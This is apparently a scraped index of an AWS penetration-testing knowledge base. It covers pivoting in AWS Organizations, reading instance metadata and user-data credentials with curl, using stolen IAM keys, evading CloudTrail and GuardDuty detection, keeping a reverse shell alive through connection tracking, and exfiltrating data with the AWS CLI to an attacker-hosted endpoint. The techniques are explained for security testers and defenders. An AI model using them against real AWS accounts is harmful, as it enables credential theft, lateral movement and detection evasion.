showing me this.</p> <p>When making API calls to AWS, a <code>User-Agent</code> header is included in each request, containing details about the client making the request. Although it\u2019s not possible to fully customize this header, you can append information to it, which can be useful for tracking API calls in CloudTrail logs.</p> <p>One way to modify the <code>User-Agent</code> is by setting the <code>AWS_EXECUTION_ENV</code> environment variable, used by AWS SDKs to identify the execution environment. Tools like grimoire leverage this variable to append custom information to the <code>User-Agent</code> header, making API tracking more informative.</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/","title":"AWS Organizations Defaults & Pivoting","text":"<ul> <li> <p> Original Research</p> <p> <p>Pivoting AWS Organizations 1 &amp; Pivoting AWS Organizations 2 by Scott Weston</p> <p></p> </p> </li> </ul> <p>Almost all mid-to-large sized AWS environments make use of multi-account architecture. Using multiple AWS accounts offers a number of benefits and is considered a best practice. To help organize and manage those accounts, AWS offers a service called AWS Organizations.</p> <p>Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration. </p> <p>When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively \"owns\" the organization.</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#creating-member-accounts-default-organizationaccountaccessrole","title":"Creating Member Accounts: Default OrganizationAccountAccessRole","text":"<p>When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called <code>OrganizationAccountAccessRole</code>. This role is created in each member account.</p> <p>By default, the <code>OrganizationAccountAccessRole</code> has the <code>AdministratorAccess</code> policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where <code>000000000000</code> is the account ID of the management account.</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::000000000000:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre> <p>These things combined mean that, should an attacker compromise the management account, the default behavior of AWS Organizations provides a path to compromise every account in the organization as an administrator, assuming that the member account was created through AWS organizations (as opposed to invited). For offensive security professionals, identifying paths into the management account can be an incredibly fruitful exercise, and may result in an entire organization compromise.</p> <p>For defensive security teams, it would be a good idea to ensure no infrastructure is deployed into the management account to reduce attack surface. Additionally, carefully controlling who has access to it and monitoring that access would also help to reduce risk.</p> <p>Scott Weston has added a module to Pacu to brute force this role name or a list of role names. So if a management account is compromised, and the user wants to attempt to assume one to many role names on all accounts, they can run the following Pacu Module</p> <pre><code>Pacu (role:ManagementAccount) &gt; run organizations__assume_role\n[ Review the results to see if any of the following roles are assumed] \n</code></pre>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#inviting-pre-existing-member-accounts-trusted-access-delegated-administration","title":"Inviting Pre-Existing Member Accounts: Trusted Access &amp; Delegated Administration","text":"<p>When a pre-existing AWS account is invited to join an organization, it does not auto-generate a default role with AdministratorAccess like the account creation workflow. As a pentester, one can look into trusted access and delegated administration to see if there are any more avenues to pivot such that you can move from the compromised management account/delegated admin to another member account in the organization. Depending on the features available, this might allow for indirect access to other member accounts (ex. IAM Access Analyzer), or direct access with some setup (IAM Identity Center).</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#organization-integrated-features","title":"Organization-Integrated Features","text":"<p>Many AWS services include specific features that have the capability to scope to the entire organization. For example, IAM Access Analyzer is a feature within the overall IAM service. Normally a user would just run Access Analyzer on their own AWS account to find roles with trust policies that reference outside AWS account sources. Because IAM Access Analyzer is an organization-integrated feature, if the target AWS account is part of an organization, a user can choose to scope Access Analyzer from their single account to the organization meaning Access Analyzer will check all AWS account roles in the organization and consider \"untrusted\" sources as any resource outside of the organization (as opposed to the single AWS account). IAM Access Analyzer is just one example, but there are a multitude of features that can do a similar scope increase to the organization that all behave differently. This might sound complicated, but from a UI perspective, this basically just means there is another option in the dropdown or radio buttons when kicking off the service that lets you choose \"organization\" instead of the specifc account you are in. A list of all these can be found here</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#helpful-diagram","title":"Helpful Diagram","text":"<p> Trusted Access &amp; Delegated Administration</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#trusted-access","title":"Trusted Access","text":"<p>These organization integrated features are in an \"off\" state by default. Trusted access is the act of the management account turning \"on\" the organization integrated features. For example, even if a member account is part of an organization, they will not be able to increase the scope of IAM Access Analyzer to the organization until the management account enables trusted access for IAM Access Analyzer for the organization. On a technical level, the act of turning \"on\" an organization-integrated feature via trusted access allows the feature to make roles in member accounts to carry out its tasks. There is an AWS CLI command the management account can run to enable one of these organization-integrated features and list those that are present as seen below:</p> <p></p> <p>Note</p> <p>Trusted access is enabled via the management account and allows IAM Access Analyzer to reach into all member accounts to achieve its objective.</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#delegated-administration","title":"Delegated Administration","text":"<p>Delegated Administration is pretty much like trusted access, but is from the perspective of a member account. In delegated administration, the user allows one of the member accounts to execute an organization-integrated feature on the AWS organization, essentially \"delegating\" the \"administration\" of that feature to that member account. We would say that a member account is \"a delegated administrator for service ABC (ex. IAM Access Analyzer).\" The CLI command to see all delegated administrators in an organization is shown below. If you are a member account, and call this API, and your AWS account is listed in the output, than that is a good way to confirm you are in a delegated admin account. Note again that a delegated admin is for a specific service so rather than searching through every single feature to see what you are a delegated admin for, you can call the API shown below to see what specific feature you are a delegated admin for.</p> <p></p> <p>Besides the ability to run specific organization-integrated features, note that the member account also in general gains access to numerous read-only APIs. For example, note how this CLI command states that a \"delegated administrator\" can run it. While a default member account can only see itself and the management account in an organization, a delegated administrator can potentially see all AWS accounts in the organization. </p> <p>As of late 2022, delegated administrators also potentially have the ability to manipulate SCPs (which are basically IAM policy filters at the organization level). See the attached blog article for a review of this avenue.</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-access-analyzer-indirect-route","title":"IAM Access Analyzer (Indirect Route):","text":"<p>IAM Access Analyzer allows one to scan all roles in the organization. If an attacker compromises the managament account where trusted access is enabled for IAM Access Analyzer (or the attacker enables it depending on permissions), the attacker could run IAM Access Analyzer on the entire organization and review the results to see if there are any misconfigured roles they can pivot to. Note the attacker NEVER directly got access to the member accounts and was constrained to the management account. Rather the attacker just ran the organization-integrated feature which accesses the member accounts giving the attacker indirect access to the organization. See the blog post in references for images/walkthrough.</p> <p>Now imagine an attacker compromises a member account. If the member account is a delegated administrator for IAM Access Analyzer, the attacker can perform a similar action of launching the feature and reviewing the results without ever directly accessing the member accounts. In addition, if a delegated administrator is compromised, the attacker can also see much more of the organization and what the structure looks like due to their read-only rights. See the blog post in references for images/walkthrough.</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-identity-center-direct-route","title":"IAM Identity Center (Direct Route)","text":"<p>IAM Identity center supports trusted access, and allows one to create a user entity, a permission set, and attach the user and permission set to an account in the organization. So, if an attacker compromises a management account, the attacker could enable trusted access for IAM Identity Center (assuming it is not already enabled). Then the attacker (if they have the necessary permissions), can create a user entity with a username/password and the attacker email, and create a permission set entity that is the equivalent of AdministratorAccess. The attacker can then attach the user and permissions to a member account in the organization through IAM Identity Center in the management account, and navigate to the IAM Identity Center login link. The attacker then can enter the users username/password and get access to the member account directly as Administrator Access. See the references section for the blog post with images/walkthrough/etc. </p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#automated-tools","title":"Automated Tools","text":"<p>To enumerate an organization for all the info discussed above, you can use the Pacu module shown below:</p> <pre><code># Run Module\nPacu (Session: Keys) &gt; run organizations__enum\n\n# See Data Collected/Enumerated\nPacu (Session: Keys) &gt; data organizations\n</code></pre> <p>Relevant pull requests can be found here and here.</p>"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/","title":"Prevent Expensive AWS API Actions with SCPs","text":"<ul> <li> <p> Original Research</p> <p> <p> List of expensive / long-term effect AWS IAM actions by Ian McKay</p> <p></p> </p> </li> <li> <p> Additional Resources</p> <ul> <li>Service Control Policies (SCPs)</li> <li>Attaching and detaching service control policies</li> </ul> </li> </ul> <p>An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.</p>"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#understanding-service-control-policies","title":"Understanding Service Control Policies","text":"<p>To help prevent billing headaches when learning about AWS security or conducting research we can use a Service Control Policy (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an AWS Organization. Thanks to the work of Ian McKay, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided. </p> <p>To implement the policy below, refer to the AWS documentation for detailed instructions on attaching and managing SCPs.</p> <p>Warning</p> <p>While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.</p>"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#safeguard-scp","title":"Safeguard SCP","text":"<pre><code>{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Statement1\",\n      \"Effect\": \"Deny\",\n      \"Action\": [\n        \"route53domains:RegisterDomain\",\n        \"route53domains:RenewDomain\",\n        \"route53domains:TransferDomain\",\n        \"ec2:ModifyReservedInstances\",\n        \"ec2:PurchaseHostReservation\",\n        \"ec2:PurchaseReservedInstancesOffering\",\n        \"ec2:PurchaseScheduledInstances\",\n        \"rds:PurchaseReservedDBInstancesOffering\",\n        \"dynamodb:PurchaseReservedCapacityOfferings\",\n        \"s3:PutObjectRetention\",\n        \"s3:PutObjectLegalHold\",\n        \"s3:BypassGovernanceRetention\",\n        \"s3:PutBucketObjectLockConfiguration\",\n        \"elasticache:PurchaseReservedCacheNodesOffering\",\n        \"redshift:PurchaseReservedNodeOffering\",\n        \"savingsplans:CreateSavingsPlan\",\n        \"aws-marketplace:AcceptAgreementApprovalRequest\",\n        \"aws-marketplace:Subscribe\",\n        \"shield:CreateSubscription\",\n        \"acm-pca:CreateCertificateAuthority\",\n        \"es:PurchaseReservedElasticsearchInstanceOffering\",\n        \"outposts:CreateOutpost\",\n        \"snowball:CreateCluster\",\n        \"s3-object-lambda:PutObjectLegalHold\",\n        \"s3-object-lambda:PutObjectRetention\",\n        \"glacier:InitiateVaultLock\",\n        \"glacier:CompleteVaultLock\",\n        \"es:PurchaseReservedInstanceOffering\",\n        \"backup:PutBackupVaultLockConfiguration\",\n        \"bedrock:CreateProvisionedModelThroughput\",\n        \"bedrock:UpdateProvisionedModelThroughput\"\n      ],\n      \"Resource\": [\n        \"*\"\n      ]\n    }\n  ]\n}\n</code></pre>"},{"location":"aws/general-knowledge/connection-tracking/","title":"Connection Tracking","text":"<ul> <li> <p> Original Research</p> <p> <p>Abusing AWS Connection Tracking by Nick Frichette</p> <p></p> </p> </li> </ul> <p>Security Groups in AWS have an interesting capability known as Connection Tracking. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.</p> <p>There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, \"if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic\".</p> <p>An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change. </p> <p>Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.</p> <p></p> <p>While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple reverse shell. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS whitepaper on incident response. </p> <p>As part of the \"Isolate\" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.</p> <p>The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.</p> <p></p> <p>The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.</p> <p></p> <p>To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).</p> <p></p>"},{"location":"aws/general-knowledge/iam-key-identifiers/","title":"IAM ID Identifiers","text":"<ul> <li> <p> Additional Resources</p> <p>Reference: AWS Documentation: Unique Identifiers</p> </li> </ul> <p>In AWS, different resources are assigned a \"unique identifier\". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.</p> <p>The full list of prefixes can be found below.</p> Prefix Entity Type ABIA AWS STS service bearer token ACCA Context-specific credential AGPA Group AIDA IAM user AIPA Amazon EC2 instance profile AKIA Access key ANPA Managed policy ANVA Version in a managed policy APKA Public key AROA Role ASCA Certificate ASIA Temporary (AWS STS) keys <p>From a security perspective, there are 2 primary prefixes which are important to know, <code>AKIA</code> and <code>ASIA</code>.</p>"},{"location":"aws/general-knowledge/iam-key-identifiers/#akia","title":"AKIA","text":"<p>IAM credentials with the <code>AKIA</code> prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.</p>"},{"location":"aws/general-knowledge/iam-key-identifiers/#asia","title":"ASIA","text":"<p>IAM credentials with the <code>ASIA</code> prefix belong to short lived access keys which were generated using STS. These credentials last for a limited time. In the event you come across an access key prefixed with <code>ASIA</code>, a secret key, and a session token, make use of them quickly before they expire.</p>"},{"location":"aws/general-knowledge/intro_metadata_service/","title":"Introduction to the Instance Metadata Service","text":"<p>Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an IAM Role is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.</p>"},{"location":"aws/general-knowledge/intro_metadata_service/#how-to-access-the-metadata-service","title":"How to Access the Metadata Service","text":"<p>The metadata service can be accessed at <code>http://169.254.169.254/latest/meta-data/</code> from the EC2 instance. Alternatively, it can also be reached via IPv6 at <code>http://[fd00:ec2::254]/latest/meta-data/</code> however this only applies to Nitro EC2 instances.</p> <p>To get credentials, you will first need to make a request to <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/</code>. </p>"},{"location":"aws/general-knowledge/intro_metadata_service/#imdsv2","title":"IMDSv2","text":"<p>Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.</p> <pre><code>user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/meta-data/\n</code></pre>"},{"location":"aws/general-knowledge/intro_metadata_service/#the-security-benefits-of-imdsv2","title":"The Security Benefits of IMDSv2","text":"<p>IMDSv2 offers a number of security improvements over the original. Wherever possible, IMDSv2 should be enforced over the original metadata service. These improvements take the following form:</p> <p>Session Authentication: In order to retrieve information from the metadata service a session must be created by sending a HTTP PUT request to retrieve a token value. After this, the token must be used for all subsequent requests. This mechanism effectively mitigates traditional Server Side Request Forgery attacks, as an attacker is unlikely to be able to send a PUT request.</p> <p>Blocks X-Forwarded-For Header: IMDSv2 will block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.</p> <p>TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.</p> <p>Note</p> <p>While the default configuration of IMDSv2 will prevent a Docker container from being able to reach the metadata service, this can be configured via the \"hop limit.\"</p>"},{"location":"aws/general-knowledge/intro_metadata_service/#what-info-the-metadata-service-contains","title":"What Info the Metadata Service Contains","text":"<p>The following information was pulled from here.</p> Endpoint Description ami-id The AMI ID used to launch the instance. ami-launch-index If you started more than one instance at the same time, this value indicates the order in which the instance was launched. The value of the first instance launched is 0. ami-manifest-path The path to the AMI manifest file in Amazon S3. If you used an Amazon EBS-backed AMI to launch the instance, the returned result is unknown. hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). iam/info If there is an IAM role associated with the instance, contains information about the last time the instance profile was updated, including the instance's LastUpdated date, InstanceProfileArn, and InstanceProfileId. Otherwise, not present. iam/security-credentials/role-name If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role. Otherwise, not present. identity-credentials/ec2/info [Internal use only] Information about the credentials in identity-credentials/ec2/security-credentials/ec2-instance. These credentials are used by AWS features such as EC2 Instance Connect, and do not have any additional AWS API permissions or privileges beyond identifying the instance. instance-id The ID of this instance. local-hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). local-ipv4 The private IPv4 address of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). public-hostname The instance's public DNS. This category is only returned if the enableDnsHostnames attribute is set to true. public-ipv4 The public IPv4 address. If an Elastic IP address is associated with the instance, the value returned is the Elastic IP address. public-keys/0/openssh-key Public key. Only available if supplied at instance launch time. security-groups The names of the security groups applied to the instance."},{"location":"aws/general-knowledge/introduction_user_data/","title":"Introduction to User Data","text":"<p>Instance user data is used to run commands when an EC2 instance is first started or after it is rebooted (with some configuration). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.</p> <p>Warning</p> <p>Although it should not be done, credentials/secrets often end up being stored in user data. From the AWS docs, \"Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data.\"</p>"},{"location":"aws/general-knowledge/introduction_user_data/#how-to-access-ec2-user-data","title":"How to Access EC2 User Data","text":"<p>User data can be accessed at <code>http://169.254.169.254/latest/user-data/</code> from the EC2 instance.</p>"},{"location":"aws/general-knowledge/introduction_user_data/#imdsv2","title":"IMDSv2","text":"<p>Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.</p> <pre><code>user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n</code></pre>"},{"location":"aws/general-knowledge/introduction_user_data/#api","title":"API","text":"<p>Another option to gather user data is via the API. If you escalate privileges in an account, or simply compromise a user/role with sufficient permissions, you can query the AWS API to view the user data of specific EC2 instances. This requires you to know the instance-id of the target EC2 instance. To query the user data we will use the describe-instance-attribute action. The result will be base64 encoded.</p> <pre><code>user@host:~$ aws ec2 describe-instance-attribute --instance-id i-abc123... --attribute userData\n</code></pre>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/","title":"Using Stolen IAM Credentials","text":"<p>As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#iam-credential-characteristics","title":"IAM Credential Characteristics","text":"<p>In AWS there are typically two types of credentials you will be working with, long term (access keys) and short term.</p> <p>Long term credentials will have an access key that starts with <code>AKIA</code> and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.</p> <p>Temporary credentials, by comparison, will have an access key that starts with <code>ASIA</code>, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#working-with-the-keys","title":"Working with the Keys","text":"<p>After gathering the credentials you will likely want to use them with the AWS CLI. There are a few ways to do this, however setting them as environment variables is likely the easiest. </p> <p>To do this with long term credentials, set the following environment variables.</p> <pre><code>export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\n</code></pre> <p>To do this with short term credentials, set the following environment variables.</p> <pre><code>export AWS_ACCESS_KEY_ID=ASIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\nexport AWS_SESSION_TOKEN=EXAMPLEEXAMPLEEXAMPLE...&lt;snip&gt;\n</code></pre> <p>Note</p> <p>You may also have to specify an AWS region. This can be globally set with the <code>aws configure</code> command or through the <code>AWS_REGION</code> environment variable.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#determining-validity","title":"Determining Validity","text":"<p>Now that you have credentials and have them setup to use, how can you determine if they are valid (not expired or deactivated)? The simplest way would be to make use of the sts:GetCallerIdentity API call. This method is helpful because it will allow us to determine if the credentials are valid and it will also tell us useful information such as the name of the role/user associated with these credentials and the AWS account ID they belong to.</p> <p>As an added bonus, we can be confident this API call will always work. From the documentation, \"No permissions are required to perform this operation. If an administrator adds a policy to your IAM user or role that explicitly denies access to the sts:GetCallerIdentity action, you can still perform this operation\".</p> <pre><code>$ aws sts get-caller-identity\n{\n    \"UserId\": \"AROAEXAMPLEEXAMPLEEXA:Nick\",\n    \"Account\": \"123456789123\",\n    \"Arn\": \"arn:aws:sts::123456789123:assumed-role/blah/Nick\"\n}\n</code></pre> <p>Tip</p> <p>For defensive security professionals, it may be worthwhile to alert on invocations of <code>sts:GetCallerIdentity</code> from identities that have no history of calling it. For example, if an application server in a production environment has never called it before, that may be an indication of compromise.</p> <p>It is worth noting that <code>sts:GetCallerIdentity</code> may be legitimately used by a large number of projects, and that individual developers may use it as well. To attempt to reduce the number of false positives, it would be best to only alert on identities which have no history of calling it.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#operational-security-considerations","title":"Operational Security Considerations","text":"<p>If you are attempting to maintain stealth, <code>sts:GetCallerIdentity</code> may be a risk. This API call logs to CloudTrail which means that defenders will have a log with additional details that this occurred. To get around this, we can make use of data events.</p> <p>Data events are high-volume API calls for resources in an AWS account. Because of the number of times these APIs may be called, they are not logged to CloudTrail by default and in some cases they cannot be logged at all.</p> <p>An example of this would be sqs:ListQueues. By making this API call we can get similar information to <code>sts:GetCallerIdentity</code> without the risk of logging to CloudTrail.</p> <pre><code>user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n</code></pre> <p>For more information on this technique, please see its article.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#avoiding-detection","title":"Avoiding Detection","text":"<p>There are situations where simply using the credentials could alert defenders to your presence. As a result, it is a good idea to be mindful of these circumstances to avoid being caught.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-pentest-findings-and-cli-user-agents","title":"GuardDuty Pentest Findings and CLI User Agents","text":"<p>If you are using a \"pentesting\" Linux distribution such as Kali Linux, Parrot Security, or Pentoo Linux you will immediately trigger a PenTest GuardDuty finding. This is because the AWS CLI will send along a user agent string which contains information about the operating system making the API call.</p> <p>In order to avoid this, it is best to make use of a \"safe\" operating system, such as Windows, Mac OS, or Ubuntu. If you are short on time, or simply MUST use one of these Linux distributions, you can modify your botocore library with a hard-coded user agent.</p> <p>Tip</p> <p>Are you going up against an apex blue team who will detect anything? It may be a good idea to spoof a user agent string that one would expect in the environment. For example, if these IAM credentials belong to a developer who uses a Windows workstation, it would be very strange for API calls to suddenly start having a user agent with a Linux operating system.</p> <p>Defenders, this may also be worth looking into for detection purposes.</p> <p>For more information on this, please see its article.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-credential-exfiltration","title":"GuardDuty Credential Exfiltration","text":"<p>Note</p> <p>This section only applies to IAM credentials taken from the Instance Metadata Service of an EC2 instance. It does not apply to other IAM credentials.</p> <p>When using IAM credentials taken from an EC2 instance, you run the risk of triggering the UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS GuardDuty finding. This finding alerts on scenarios in which IAM credentials from an EC2 instance are used from outside AWS (E.X your home IP address).</p> <p>This is particularly relevant in scenarios in which you have access to the IAM credentials, but not the host (Server Side Request Forgery).</p> <p>To get around this, we can make use of VPC Endpoints which will not trigger this alert. To make things easier, the SneakyEndpoints tool was developed to allow you to quickly stand up infrastructure to bypass this detection.</p> <p>For more information on this, please see its article.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#situational-awareness","title":"Situational Awareness","text":"<p>Now that you have everything set up and you know what to look out for, your next question may be, \"what is in this AWS account?\". If you are performing a no-knowledge assessment, and thus, don't have any insights into what services are running in the account, it makes it difficult to know what to target or look into.</p> <p>One option would be to enumerate the service-linked roles in the account. A service-linked role is a special kind of IAM role that allows an AWS service to perform actions in your account. Because of this, we can potentially enumerate them without authentication. </p> <p>From the previous validity checking step, we will know the AWS account ID we are operating in. That, combined with this technique will allow us to enumerate what services the AWS account uses. This can be helpful to answer questions such as, \"Is our target using GuardDuty? Is this account a part of an organization? Are they using containers (ECS, EKS), or are they using EC2?\".</p> <p>For more information on this, please see its article.</p>"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/","title":"Create a Console Session from IAM Credentials","text":"<ul> <li> <p> Technique seen in the wild</p> <p>Reference: Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies</p> </li> <li> <p> Tools mentioned in this article</p> <p>aws-vault: A vault for securely storing and accessing AWS credentials in development environments.</p> <p>aws_consoler: A utility to convert your AWS CLI credentials into AWS console access.</p> <p>Pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services environments.</p> </li> </ul> <p>When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the AWS CLI or other tooling to query the AWS API. </p> <p>While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as aws-vault. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.</p> <p>Note</p> <p>If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either sts:GetFederationToken or sts:AssumeRole permissions. This is to generate the temporary credentials you will need.</p> <p>Tip</p> <p>If you are attempting to avoid detection, this technique is not recommended. Aside from the suspicious <code>ConsoleLogin</code> CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.</p>"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#using-aws-vault","title":"Using aws-vault","text":"<p>To start, export the relevant environment variables for the IAM credentials you have. Next, install aws-vault.</p> <p>From here, perform the following commands depending on the type of credentials you have.</p>"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#user-credentials","title":"User Credentials","text":"<p>For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of sts:GetFederationToken. As an alternative, sts:AssumeRole can also be used.</p> <pre><code>aws sts get-federation-token --name blah\n</code></pre> <p>This will return temporary IAM credentials that you can use with the next step.</p>"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#sts-credentials","title":"STS Credentials","text":"<p>For short-term credentials (Those starting with ASIA), you can run the following command:</p> <pre><code>aws-vault login\n</code></pre> <p>Tip</p> <p>If you'd like to generate a link without it automatically opening a new tab in your browser you can use the <code>-s</code> flag and it will be printed to stdout.</p> <p>To learn more about custom identity broker access to the AWS Console please see the official documentation.</p>"},{"location":"aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/","title":"Download Tools and Exfiltrate Data with the AWS CLI","text":"<ul> <li> <p> Technique seen in the wild</p> <p>Reference: SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto</p> </li> </ul> <p>In an attempt to be stealthy, threat actors will often \"live off the land\", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.</p> <p>In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by default in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like curl or Wget which may be monitored for suspicious uses.</p> <p>As seen in the wild by the SCARLETEEL threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as MinIO and then use the <code>--endpoint-url</code> flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.</p> 